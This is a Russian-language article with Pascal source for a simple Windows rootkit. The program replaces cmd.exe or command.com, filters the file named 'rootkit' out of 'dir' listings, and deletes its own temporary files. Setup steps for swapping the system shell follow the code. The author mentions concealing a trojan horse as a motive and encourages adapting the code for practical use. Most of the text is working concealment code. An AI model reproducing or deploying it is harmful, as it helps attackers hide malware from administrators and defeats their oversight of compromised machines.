Иногда возникает нужда скрыть свое присутствие на
компьютере. Причины могут быть разные, от попытки
сокрытия своего "троянского коня" до защиты своей ОС от атакующего. Методы реализации также нельзя
считать однообразными. Это может быть подмена стандартных программ, установка ловушек
(HOOK), и т.д. Сразу хочу попросить извинение за язык
программирования на котором написан пример и его незавершенность, но хочу еще раз напомнить что это
всего лишь пример, а другого компилятора в момент написания статьи доступно
не было.
Итак о нашем примере. Все написано под Windows и имеет место в Microsoft IIS. Допустим
администратор/ атакующий желает проверить наличие некого файла на диске с
помощью программы "cmd.exe" или "command.com"(в Windows 95/98). Его интересует присутствует ли файл "rootkit" на сервере. Для этого он запускает на нем команду "dir" и смотрит присутствует ли она в данном каталоге. Наша цель скрыть существование этого файла при попытке обнаружить его с
помощью команды "dir". Для этого мы напишем свою копию cmd.exe/command.com. Вот ее исходник с
комментариями:
{$M $1000,$1000,$1000}
uses Dos,WinDos,strings;
var
CmdLine,dir: string;
CurDir : Pchar;
i : Integer;
f : Text;
{процедера запуска команд}
procedure Execute(s1,s2:string);
begin
SwapVectors;
Exec(s1,s2);
SwapVectors;
end;
{Эта процедура выводит на экран приглашение
(в данном случае для Windows 95)}
procedure ShowMSG;
begin
Writeln('');
Writeln('');
Writeln('Microsoft(R) Windows 95');
Writeln(' Корпорация Microsoft 1981-1996.');
Writeln('');
GetMem(CurDir,255);
end;
{Выводит приглашение командной строки}
procedure ShowPrompt;
begin
GetCurDir(CurDir,0); {узнаем текущую директорию}
Write(CurDir,'>'); {выводим приглашение}
readln(CmdLine); {ждем пользовательского ввода}
end;
{Эмуляция роботы команды "Dir"}
procedure MagicDir;
begin
{Выводим содержимое каталога в файл}
Execute('c:\windows\com.com','/c dir>tmp.001');
{Удаляем в файле все упоминания о "rootkit", результат пишем в другой файл}
Execute('c:\windows\com.com','/c find /V/I "rootkit" tmp.001>tmp.002');
{удаляем с него имена типа tmp.00*}
Execute('c:\windows\com.com','/c find /V/I "tmp.00" tmp.002>tmp.003');
{поскольку заголовок файла нам не нужен то пропускаем первые две строки а остальное выводим на экран}
assign(f,'tmp.003');
reset(f);
readln(f,dir);
readln(f,dir);
dir:='';
while not EOF(f) do
begin
readln(f,dir);
writeln(dir);
end;
close(f);
{удаляем временные файлы}
Execute('c:\windows\com.com','/c del tmp.00?');
end;
procedure Console;
begin
ShowMSG; {выводим логотип}
repeat
ShowPrompt; {ждем ввода}
if CmdLine = 'dir' then MagicDir {если команда "dir" то эмулируем ее}
else Execute('c:\windows\com.com','/c '+CmdLine); {если нет то запускаем}
until CmdLine='exit';{если выход то... выходим}
end;
procedure CommandLine;
begin
{Выполняем параметры}
CmdLine:='';
for I := 1 to ParamCount do
CmdLine:=CmdLine+ParamStr(I)+' ';
Execute('c:\windows\com.com',CmdLine);
end;
begin
{проверка на наличие параметров}
if ParamCount=0 then Console
else CommandLine;
end.
Вот некоторые объяснения:
- пример работает только если Windows находится в директории
c:\windows - и если вводимая команда "dir" без параметров и в нижнем регистре
- сmd.exe/command.com должен быть переименован в com.com, и помещен в
директорию Windows. А наша программа должна быть переименована
в него.
Для практического применения данного кода имеет смысл внести некоторые изменения в
программу, но для демонстрации эффективности
достаточно и этого. Я подчеркиваю что это только одно из возможных применений и способов. Все зависит только от вашей фантазии и желания.